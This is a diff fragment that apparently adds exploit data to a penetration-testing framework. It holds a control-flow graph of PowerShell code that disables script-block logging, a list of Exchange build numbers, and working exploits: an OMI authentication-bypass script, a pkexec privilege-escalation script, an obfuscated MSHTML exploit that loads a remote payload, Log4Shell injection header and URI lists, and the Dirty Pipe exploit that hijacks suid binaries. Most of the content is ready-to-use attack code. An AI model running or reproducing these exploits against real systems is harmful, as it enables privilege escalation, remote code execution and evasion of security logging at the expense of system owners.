+          <data key="address">7</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    If ($GPF) {</data>
+        </node>
+        <node id="block.1:instruction.8">
+          <data key="address">8</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $SBL=&lt;%= Rex::Powershell::Obfu.scate_string_literal('ScriptBlockLogging') %&gt;;</data>
+        </node>
+        <node id="block.1:instruction.9">
+          <data key="address">9</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $EnableSBL=&lt;%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockLogging') %&gt;;</data>
+        </node>
+        <node id="block.1:instruction.10">
+          <data key="address">10</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $EnableSBIL=&lt;%= Rex::Powershell::Obfu.scate_string_literal('EnableScriptBlockInvocationLogging') %&gt;;</data>
+        </node>
+        <node id="block.1:instruction.11">
+          <data key="address">11</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $GPC=$GPF.GetValue($null);</data>
+        </node>
+        <edge source="block.1:instruction.1" target="block.1:instruction.3"/>
+        <edge source="block.1:instruction.1" target="block.1:instruction.5"/>
+        <edge source="block.1:instruction.3" target="block.1:instruction.4"/>
+        <edge source="block.1:instruction.4" target="block.1:instruction.7"/>
+        <edge source="block.1:instruction.5" target="block.1:instruction.6"/>
+        <edge source="block.1:instruction.6" target="block.1:instruction.7"/>
+        <edge source="block.1:instruction.7" target="block.1:instruction.11"/>
+      </graph>
+    </node>
+    <node id="block.12">
+      <data key="address">12</data>
+      <data key="type">block</data>
+      <graph edgedefault="directed">
+        <data key="address">12</data>
+        <data key="type">block</data>
+        <node id="block.12:instruction.12">
+          <data key="address">12</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        If($GPC[$SBL]){</data>
+        </node>
+        <node id="block.12:instruction.13">
+          <data key="address">13</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">            $GPC[$SBL][$EnableSBL]=0;</data>
+        </node>
+        <node id="block.12:instruction.14">
+          <data key="address">14</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">            $GPC[$SBL][$EnableSBIL]=0;</data>
+        </node>
+        <node id="block.12:instruction.15">
+          <data key="address">15</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        }</data>
+        </node>
+        <edge source="block.12:instruction.12" target="block.12:instruction.13"/>
+        <edge source="block.12:instruction.12" target="block.12:instruction.14"/>
+        <edge source="block.12:instruction.13" target="block.12:instruction.15"/>
+        <edge source="block.12:instruction.14" target="block.12:instruction.15"/>
+      </graph>
+    </node>
+    <node id="block.16">
+      <data key="address">16</data>
+      <data key="type">block</data>
+      <graph edgedefault="directed">
+        <data key="address">16</data>
+        <data key="type">block</data>
+        <node id="block.16:instruction.16">
+          <data key="address">16</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $val.Add($EnableSBL,0);</data>
+        </node>
+        <node id="block.16:instruction.17">
+          <data key="address">17</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $val.Add($EnableSBIL,0);</data>
+        </node>
+        <node id="block.16:instruction.18">
+          <data key="address">18</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$SBL]=$val;</data>
+        </node>
+        <edge source="block.16:instruction.16" target="block.16:instruction.18"/>
+        <edge source="block.16:instruction.17" target="block.16:instruction.18"/>
+      </graph>
+    </node>
+    <node id="block.19">
+      <data key="address">19</data>
+      <data key="type">block</data>
+      <graph edgedefault="directed">
+        <data key="address">19</data>
+        <data key="type">block</data>
+        <node id="block.19:instruction.19">
+          <data key="address">19</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    } Else {</data>
+        </node>
+        <node id="block.19:instruction.20">
+          <data key="address">20</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">        [Ref].Assembly.GetType(&lt;%= Rex::Powershell::Obfu.scate_string_literal('System.Management.Automation.ScriptBlock') %&gt;).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));</data>
+        </node>
+        <node id="block.19:instruction.21">
+          <data key="address">21</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">    }</data>
+        </node>
+        <node id="block.19:instruction.22">
+          <data key="address">22</data>
+          <data key="type">instruction</data>
+          <data key="instruction.source">};</data>
+        </node>
+        <edge source="block.19:instruction.19" target="block.19:instruction.20"/>
+        <edge source="block.19:instruction.20" target="block.19:instruction.21"/>
+        <edge source="block.19:instruction.21" target="block.19:instruction.22"/>
+      </graph>
+    </node>
+    <edge source="block.1" target="block.12"/>
+    <edge source="block.1" target="block.16"/>
+    <edge source="block.12" target="block.19"/>
+    <edge source="block.16" target="block.19"/>
+  </graph>
+</graphml>

data/exchange_versions.json

@@ -0,0 +1,321 @@
+{
+  "exchange_builds": [
+    {
+      "name": "Exchange Server 4.0",
+      "builds": [
+        "4.0.996",
+        "4.0.995",
+        "4.0.994",
+        "4.0.993",
+        "4.0.838",
+        "4.0.837"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 5.0",
+      "builds": [
+        "5.0.1460",
+        "5.0.1458",
+        "5.0.1457"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 5.5",
+      "builds": [
+        "5.5.2653",
+        "5.5.2650",
+        "5.5.2448",
+        "5.5.2232",
+        "5.5.1960"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 2000",
+      "builds": [
+        "6.0.6620.7",
+        "6.0.6620.5",
+        "6.0.6603",
+        "6.0.6556",
+        "6.0.6487",
+        "6.0.6249",
+        "6.0.5762",
+        "6.0.4712",
+        "6.0.4417"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 2003",
+      "builds": [
+        "6.5.7654.4",
+        "6.5.7653.33",
+        "6.5.7683",
+        "6.5.7226",
+        "6.5.6944"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 2007",
+      "builds": [
+        "8.3.517.0",
+        "8.3.502.0",
+        "8.3.485.1",
+        "8.3.468.0",
+        "8.3.459.0",
+        "8.3.445.0",
+        "8.3.417.1",
+        "8.3.406.0",
+        "8.3.389.2",
+        "8.3.379.2",
+        "8.3.348.2",
+        "8.3.342.4",
+        "8.3.327.1",
+        "8.3.298.3",
+        "8.3.297.2",
+        "8.3.279.6",
+        "8.3.279.5",
+        "8.3.279.3",
+        "8.3.264.0",
+        "8.3.245.2",
+        "8.3.213.1",
+        "8.3.192.1",
+        "8.3.159.2",
+        "8.3.137.3",
+        "8.3.106.2",
+        "8.3.83.6",
+        "8.2.305.3",
+        "8.2.254.0",
+        "8.2.247.2",
+        "8.2.234.1",
+        "8.2.217.3",
+        "8.2.176.2",
+        "8.1.436.0",
+        "8.1.393.1",
+        "8.1.375.2",
+        "8.1.359.2",
+        "8.1.340.1",
+        "8.1.336.1",
+        "8.1.311.3",
+        "8.1.291.2",
+        "8.1.278.2",
+        "8.1.263.1",
+        "8.1.240.6",
+        "8.0.813.0",
+        "8.0.783.2",
+        "8.0.754.0",
+        "8.0.744.0",
+        "8.0.730.1",
+        "8.0.711.2",
+        "8.0.708.3",
+        "8.0.685.25"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 2010",
+      "builds": [
+        "14.3.513.0",
+        "14.3.509.0",
+        "14.3.496.0",
+        "14.3.468.0",
+        "14.3.461.1",
+        "14.3.452.0",
+        "14.3.442.0",
+        "14.3.435.0",
+        "14.3.419.0",
+        "14.3.417.1",
+        "14.3.411.0",
+        "14.3.399.2",
+        "14.3.389.1",
+        "14.3.382.0",
+        "14.3.361.1",
+        "14.3.352.0",
+        "14.3.336.0",
+        "14.3.319.2",
+        "14.3.301.0",
+        "14.3.294.0",
+        "14.3.279.2",
+        "14.3.266.2",
+        "14.3.248.2",
+        "14.3.235.1",
+        "14.3.224.2",
+        "14.3.224.1",
+        "14.3.210.2",
+        "14.3.195.1",
+        "14.3.181.6",
+        "14.3.174.1",
+        "14.3.169.1",
+        "14.3.158.1",
+        "14.3.146.0",
+        "14.3.123.4",
+        "14.2.390.3",
+        "14.2.375.0",
+        "14.2.342.3",
+        "14.2.328.10",
+        "14.3.328.5",
+        "14.2.318.4",
+        "14.2.318.2",
+        "14.2.309.2",
+        "14.2.298.4",
+        "14.2.283.3",
+        "14.2.247.5",
+        "14.1.438.0",
+        "14.1.421.3",
+        "14.1.421.2",
+        "14.1.421.0",
+        "14.1.355.2",
+        "14.1.339.1",
+        "14.1.323.6",
+        "14.1.289.7",
+        "14.1.270.1",
+        "14.1.255.2",
+        "14.1.218.15",
+        "14.0.726.0",
+        "14.0.702.1",
+        "14.0.694.0",
+        "14.0.689.0",
+        "14.0.682.1",
+        "14.0.639.21"
+      ],
+      "eol": true
+    },
+    {
+      "name": "Exchange Server 2013",
+      "builds": [
+        "15.0.1497.28",
+        "15.0.1497.26",
+        "15.0.1497.24",
+        "15.0.1497.23",
+        "15.0.1497.18",
+        "15.0.1497.15",
+        "15.0.1497.12",
+        "15.0.1497.2",
+        "15.0.1473.6",
+        "15.0.1473.3",
+        "15.0.1395.12",
+        "15.0.1395.4",
+        "15.0.1367.3",
+        "15.0.1365.1",
+        "15.0.1347.2",
+        "15.0.1320.4",
+        "15.0.1293.2",
+        "15.0.1263.5",
+        "15.0.1236.3",
+        "15.0.1210.3",
+        "15.0.1178.4",
+        "15.0.1156.6",
+        "15.0.1130.7",
+        "15.0.1104.5",
+        "15.0.1076.9",
+        "15.0.1044.25",
+        "15.0.995.29",
+        "15.0.913.22",
+        "15.0.847.64",
+        "15.0.847.32",
+        "15.0.775.38",
+        "15.0.712.24",
+        "15.0.620.29",
+        "15.0.516.32"
+      ],
+      "eol": false
+    },
+    {
+      "name": "Exchange Server 2016",
+      "builds": [
+        "15.1.2375.18",
+        "15.1.2375.17",
+        "15.1.2375.12",
+        "15.1.2375.7",
+        "15.1.2308.21",
+        "15.1.2308.20",
+        "15.1.2308.15",
+        "15.1.2308.14",
+        "15.1.2308.8",
+        "15.1.2242.12",
+        "15.1.2242.10",
+        "15.1.2242.8",
+        "15.1.2242.4",
+        "15.1.2176.14",
+        "15.1.2176.12",
+        "15.1.2176.9",
+        "15.1.2176.2",
+        "15.1.2106.13",
+        "15.1.2106.2",
+        "15.1.2044.13",
+        "15.1.2044.4",
+        "15.1.1979.8",
+        "15.1.1979.3",
+        "15.1.1913.12",
+        "15.1.1913.5",
+        "15.1.1847.12",
+        "15.1.1847.3",
+        "15.1.1779.8",
+        "15.1.1779.2",
+        "15.1.1713.10",
+        "15.1.1713.5",
+        "15.1.1591.18",
+        "15.1.1591.10",
+        "15.1.1531.12",
+        "15.1.1531.3",
+        "15.1.1466.16",
+        "15.1.1466.3",
+        "15.1.1415.10",
+        "15.1.1415.2",
+        "15.1.1261.35",
+        "15.1.1034.26",
+        "15.1.845.34",
+        "15.1.669.32",
+        "15.1.544.27",
+        "15.1.466.34",
+        "15.1.396.30",
+        "15.1.225.42",
+        "15.1.225.16"
+      ],
+      "eol": false
+    },
+    {
+      "name": "Exchange Server 2019",
+      "builds": [
+        "15.2.986.15",
+        "15.2.986.14",
+        "15.2.986.9",
+        "15.2.986.5",
+        "15.2.922.20",
+        "15.2.922.19",
+        "15.2.922.14",
+        "15.2.922.13",
+        "15.2.922.7",
+        "15.2.858.15",
+        "15.2.858.12",
+        "15.2.858.10",
+        "15.2.858.5",
+        "15.2.792.15",
+        "15.2.792.13",
+        "15.2.792.10",
+        "15.2.792.3",
+        "15.2.721.13",
+        "15.2.721.2",
+        "15.2.659.12",
+        "15.2.659.4",
+        "15.2.595.8",
+        "15.2.595.3",
+        "15.2.529.13",
+        "15.2.529.5",
+        "15.2.464.15",
+        "15.2.464.5",
+        "15.2.397.11",
+        "15.2.397.3",
+        "15.2.330.11",
+        "15.2.330.5",
+        "15.2.221.18",
+        "15.2.221.12",
+        "15.2.196.0"
+      ],
+      "eol": false
+    }
+  ]
+}

data/exploits/CVE-2021-38648/README.md

@@ -0,0 +1,31 @@
+# CVE-2021-38648 Microsoft OMI Management Interface Authentication Bypass
+This is an LPE exploit for CVE-2021-38648
+
+## Usage
+
+```
+usage: cve_2021_38648.py [-h] [-s SOCKET_PATH] [--timeout TIMEOUT] command
+
+positional arguments:
+  command               the command to run
+
+optional arguments:
+  -h, --help            show this help message and exit
+  -s SOCKET_PATH, --socket SOCKET_PATH
+                        socket file
+  --timeout TIMEOUT     response timeout
+```
+
+The exploit will exit with a status of 0 on success. The command is limited to 256 characters in length due to the
+hardcoded messages that are exchanged. To increase this, generate a new series of messages using the `strace` command
+below, search for the second `writev` syscall and extract each `iovec` instance. There should be six in total, and the
+first 4 bytes of each should be consistent.
+
+The hardcoded messages were recovered using:
+```
+strace -v -s 5000 -f -xx -e trace=socket,connect,write,writev,close \
+  /opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command '...' timeout 0 }
+```
+
+It is important that the exploit wait on the socket for a response to be received. It doesn't need to be read, but the
+socket needs to be kept open until either the server closes it or the response is received.

data/exploits/CVE-2021-38648/cve_2021_38648.py

@@ -0,0 +1,38 @@
+import argparse
+import os
+import select
+import socket
+import sys
+
+def main():
+    parser = argparse.ArgumentParser(conflict_handler='resolve')
+    parser.add_argument('-s', '--socket', dest='socket_path', default='/var/opt/omi/run/omiserver.sock', help='socket file')
+    parser.add_argument('--timeout', default=5.0, type=int, help='response timeout')
+    parser.add_argument('command', help='the command to run')
+    arguments = parser.parse_args()
+
+    command = arguments.command.encode('ascii')
+    if len(command) > 256:
+        return os.EX_USAGE
+    command = command.ljust(256, b'\0')
+
+    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+    try:
+        sock.connect(arguments.socket_path)
+    except Exception:
+        return os.EX_UNAVAILABLE
+
+    sock.send(b'\x2f\x7e\xa8\xb1\x08\x06\x01\0\0\0\0\0\x05\0\0\0\x88\x23\xb0' + b'\0' * 13 + b'\x90\x7a\xb0\0\0\0\0\0\xbc\0\0\0\0\0\0\0\x80\x76\xb0\0\0\0\0\0\x50\0\0\0\0\0\0\0\x10\x71\xb0\0\0\0\0\0\x50\x05\0\0\0\0\0\0\xf0\x30\xb0\0\0\0\0\0\x6c\x01\0\0\0\0\0\0\x60\x23\xb0\0\0\0\0\0\xf0\x03\0\0\0\0\0\0')
+    sock.send(b'\x57\x99\x2b\x46\x01\0\0\0\x0f\0\0\0\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\0\0\0\0\0\0\x02\0\0\0\0\0\0\x40\x1e\0\0\0\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x43\x48\x41\x4e\x4e\x45\x4c\0\0\0\x15\0\0\0\x01\0\0\0\x03\0\0\0\0\0\0\0\x01\0\0\0\x02\0\0\0\0\0\0\0\x1e\0\0\0\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x54\x49\x4d\x45\x4f\x55\x54\0\0\0\x0c\0\0\0\x01' + b'\0' * 15 + b'\x01\0\0\0\x1e' + b'\0' * 19 + b'\xe3\x74\xf4\x76')
+    sock.send(b'\x60\xea\x6a\xb2\0\0\0\0\x01\0\0\0\0\0\0\0\xa0\x7b\x41\x68\xa9\x7f\0\0\xe8\x24\xb0' + b'\0' * 21 + b'\x60\x23\xb0\0\0\0\0\0\x20\x71\xb0' + b'\0' * 21)
+    sock.send(b'\x60\xea\x6a\xb2\0\0\0\0\x01\0\0\0\0\0\0\0\xa0\x7b\x41\x68\xa9\x7f\0\0\xe8\x24\xb0' + b'\0' * 21 + b'\x60\x23\xb0\0\0\0\0\0\x20\x71\xb0' + b'\0' * 21 + b'\x30\x27\xb0\0\0\0\0\0\x03\0\0\0\0\0\0\0\x01' + b'\0' * 35 + b'\x01\0\0\0\x1e' + b'\0' * 19 + b'\x01' + b'\0' * 1203)
+    sock.send(b'\x57\x99\x2b\x46\x02\0\0\0\x14\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\x02\0\0\0\0\x10\0\x40\x08\0\0\0\x63\x6f\x6d\x6d\x61\x6e\x64\0\x0d\0\0\0\x01\0\0\0\x01\x01\0\0' + command + b'\0\0\0\0\0\x10\0\x40\x08\0\0\0\x74\x69\x6d\x65\x6f\x75\x74\0\x0d\0\0\0\x01\0\0\0\x02\0\0\0\x30\0\0\0\xe3\x74\xf4\x76')
+    sock.send(b'\xd0\x76\xb0\0\0\0\0\0\x70\x7a\xb0\0\0\0\0\0\x80\x7a\xb0\0\0\0\0\0\x02\0\0\0\0\0\0\0\xff\xff\xff\xff' + b'\0' * 20 + b'\x60\x23\xb0\0\0\0\0\0\x07\x10\0\0\x01\0\0\0\x03' + b'\0' * 23 + b'\x11\x27' + b'\0' * 142 + b'\x90\x76\xb0\0\0\0\0\0\x90\x7a\xb0\0\0\0\0\0\xbc\0\0\0\0\0\0\0\xa8\x24\xb0\0\0\0\0\0\xb8\x24\xb0\0\0\0\0\0\xd0\x24\xb0' + b'\0' * 13 + b'\xd8\x2a\xb0' + b'\0' * 13 + b'\xf0\x30\xb0\0\0\0\0\0\0\0\0\0\x6c\x01\0\0\x72\x6f\x6f\x74\x2f\x73\x63\x78\0\0\0\0\0\0\0\0\x45\x78\x65\x63\x75\x74\x65\x53\x68\x65\x6c\x6c\x43\x6f\x6d\x6d\x61\x6e\x64\0\0\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\0\0\0\0\x0e\x74\x5f\0\x50\x25\xb0' + b'\0' * 21 + b'\x60\x25\xb0\0\0\0\0\0\x02\0\0\0\x90' + b'\0' * 51 + b'\xff\xff\xff\xff\xff\xff\xff\xff\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\0\0\x60\x26\xb0\0\0\0\0\0\xc8\x26\xb0' + b'\0' * 248 + b'\x40\x1d\x6c\x5f\0\xa8\x26\xb0' + b'\0' * 17 + b'\x15' + b'\0' * 15 + b'\x40' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x43\x48\x41\x4e\x4e\x45\x4c\0\0\0\0\0\0\0\x1d\x74\x5f\0\x10\x27\xb0' + b'\0' * 17 + b'\x0c' + b'\0' * 15 + b'\x68' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x54\x49\x4d\x45\x4f\x55\x54\0\0\0\0\0\0\0\x01\0\0\0\x02' + b'\0' * 23)
+
+    select.select([sock], [], [], arguments.timeout)
+
+    sock.close()
+    return os.EX_OK
+
+if __name__ == '__main__':
+    sys.exit(main())

data/exploits/CVE-2021-4034/cve_2021_4034.py

@@ -0,0 +1,30 @@
+import subprocess
+import sys
+import os
+import shutil
+from ctypes import cdll, c_char_p, POINTER
+
+libc = cdll.LoadLibrary("libc.so.6")
+libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+polkit_bin = sys.argv[1].encode('latin-1')
+payload_file = sys.argv[2]
+random_string_1 = sys.argv[3]
+random_string_2 = sys.argv[4]
+
+file = open(random_string_1 + "/gconv-modules", 'w')
+file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2")
+file.close()
+argv = [None]
+cmd = polkit_bin
+env = [random_string_1.encode('latin-1')]
+env.append(b"PATH=GCONV_PATH=.")
+env.append(b"CHARSET=" + random_string_2.encode('latin-1'))
+env.append(b"SHELL="+random_string_1.encode('latin-1'))
+env.append(None)
+
+cargv = (c_char_p * len(argv))(*argv)
+cenvp = (c_char_p * len(env))(*env)
+
+libc.execve(cmd, cargv, cenvp)
+

data/exploits/CVE-2021-40444/cve_2021_40444.js

@@ -0,0 +1,65 @@
+function exploit() {
+   var x = window["document"];
+   var then = window["Document"]["prototype"]["createElement"];
+   var _0x4d7c02 = window["Document"]["prototype"]["write"];
+   var PL$22 = window["HTMLElement"]["prototype"]["appendChild"];
+   var opfilter = window["HTMLElement"]["prototype"]["removeChild"];
+   var range = then["call"](x, "iframe");
+   try {
+     PL$22["call"](x["body"], range);
+   } catch (errx) {
+     PL$22["call"](x["documentElement"], range);
+   }
+   var ACTIVEX = range["contentWindow"]["ActiveXObject"];
+   var view = new ACTIVEX("htmlfile");
+   range["contentDocument"]["open"]()["close"]();
+
+   try {
+     opfilter["call"](x["body"], range);
+   } catch (err) {
+     opfilter["call"](x["documentElement"], range);
+   }
+   view["open"]()["close"]();
+   var mappedObj = new (view["Script"]["ActiveXObject"])("htmlFile");
+   mappedObj["open"]()["close"]();
+   var TokenType = new (mappedObj["Script"]["ActiveXObject"])("htmlFile");
+   TokenType["open"]()["close"]();
+   var model = new (TokenType["Script"]["ActiveXObject"])("htmlFile");
+   model["open"]()["close"]();
+   var iedom = new ActiveXObject("htmlfile");
+   var rp_test = new ActiveXObject("htmlfile");
+   var wmp_test = new ActiveXObject("htmlfile");
+   var doc = new ActiveXObject("htmlfile");
+   var a = new ActiveXObject("htmlfile");
+   var fake = new ActiveXObject("htmlfile");
+   var errors = window["XMLHttpRequest"];
+   var $node = new errors;
+   var directiveProcessors = errors["prototype"]["open"];
+   var nodeTypeRender = errors["prototype"]["send"];
+   var newAttributes = window["setTimeout"];
+   directiveProcessors["call"]($node, "GET", "REPLACE_URI", ![]);
+   nodeTypeRender["call"]($node);
+   model["Script"]["document"]["write"]("<body>");
+   var PL$41 = then["call"](model["Script"]["document"], "object");
+   PL$41["setAttribute"]("codebase", "REPLACE_URI#version=5,0,0,0");
+   PL$41["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
+   PL$22["call"](model["Script"]["document"]["body"], PL$41);
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:123";
+   iedom["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/Low/REPLACE_INF";
+   rp_test["Script"]["location"] = ".cpl:../../../AppData/Local/Temp/REPLACE_INF";
+   wmp_test["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/Low/REPLACE_INF";
+   doc["Script"]["location"] = ".cpl:../../../../AppData/Local/Temp/REPLACE_INF";
+   a["Script"]["location"] = ".cpl:../../../../../Temp/Low/REPLACE_INF";
+   doc["Script"]["location"] = ".cpl:../../../../../Temp/REPLACE_INF";
+   doc["Script"]["location"] = ".cpl:../../Low/REPLACE_INF";
+   doc["Script"]["location"] = ".cpl:../../REPLACE_INF";
+}
+exploit();

data/exploits/CVE-2021-44228/http_headers.txt

@@ -0,0 +1,23 @@
+Authorization
+Cache-Control
+Cf-Connecting_ip
+Client-Ip
+Contact
+Cookie
+Forwarded-For-Ip
+Forwarded-For
+Forwarded
+If-Modified-Since
+Originating-Ip
+Referer
+True-Client-Ip
+User-Agent
+X-Api-Version
+X-Client-Ip
+X-Forwarded-For
+X-Leakix
+X-Originating-Ip
+X-Real-Ip
+X-Remote-Addr
+X-Remote-Ip
+X-Wap-Profile

data/exploits/CVE-2021-44228/http_uris.txt

@@ -0,0 +1,6 @@
+# Apache Struts2
+/struts/utils.js
+# Apache Solr
+/solr/admin/cores?action=CREATE&wt=json&name=${jndi:uri}
+# VMWare VCenter
+/websso/SAML2/SSO/vsphere.local?SAMLRequest=

data/exploits/CVE-2022-0847/CVE-2022-0847.c

@@ -0,0 +1,185 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include <stdint.h>
+#include <sys/wait.h>
+
+#ifndef PAGE_SIZE
+#define PAGE_SIZE 0x1000
+#endif
+
+uint8_t payload_bytes[PAGE_SIZE-1] = "PAYLOAD_PLACEHOLDER";
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) abort();
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int hax(const char *filename, off_t offset, uint8_t *data, size_t len) {
+	/* open the input file and validate the specified offset */
+	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return -1;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return -1;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return -1;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return -1;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, len);
+	if (nbytes < 0) {
+		perror("write failed");
+		return -1;
+	}
+	if ((size_t)nbytes < len) {
+		fprintf(stderr, "short write\n");
+		return -1;
+	}
+
+	close(fd);
+
+	return 0;
+}
+
+int main(int argc, char **argv) {
+	if (argc != 2) {
+		printf("Usage: %s suid_binary\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	int run_check = 0;
+	char * suid_binary = argv[1];
+	printf("[+] dirtypipe %s\n", suid_binary);
+	size_t payload_size = sizeof(payload_bytes);
+	if (payload_bytes[0] == 'P' &&
+			payload_bytes[1] == 'A' &&
+			payload_bytes[2] == 'Y' &&
+			payload_bytes[3] == 'L') {
+		payload_size = strlen(payload_bytes);
+		printf("[+] using dud payload...\n");
+		run_check = 1;
+	}
+	int fd = open(suid_binary, O_RDONLY);
+	uint8_t * orig_bytes = malloc(payload_size);
+	lseek(fd, 1, SEEK_SET);
+	read(fd, orig_bytes, payload_size);
+	close(fd);
+
+	printf("[+] hijacking suid binary...\n");
+	if (hax(suid_binary, 1, payload_bytes, payload_size) != 0) {
+		printf("[+] overwrite failed\n");
+		return EXIT_FAILURE;
+	}
+
+	if (run_check) {
+		return EXIT_SUCCESS;
+	}
+
+	printf("[+] running suid payload...\n");
+	pid_t pid = fork();
+	if (pid < 0) {
+		printf("[-] fork failed...\n");
+	} else if (pid > 0) {
+		int status;
+		waitpid(pid, &status, 0);
+	} else {
+		char *args[] = {suid_binary, NULL, NULL};
+		execve(args[0], args, NULL);
+		exit(EXIT_FAILURE);
+		return 0;
+	}
+
+	printf("[+] restoring suid binary...\n");
+	if (hax(suid_binary, 1, orig_bytes, payload_size) != 0) {
+		printf("[-] restore failed\n");
+		return EXIT_FAILURE;
+	}
+
+	return EXIT_SUCCESS;
+}
+

data/exploits/CVE-2022-0847/Makefile

@@ -0,0 +1,9 @@
+
+MUSL_CROSS=../../../../mettle/build/tools/musl-cross/bin/
+
+all:
+	$(MUSL_CROSS)x86_64-linux-musl-gcc -static CVE-2022-0847.c -o CVE-2022-0847-x64
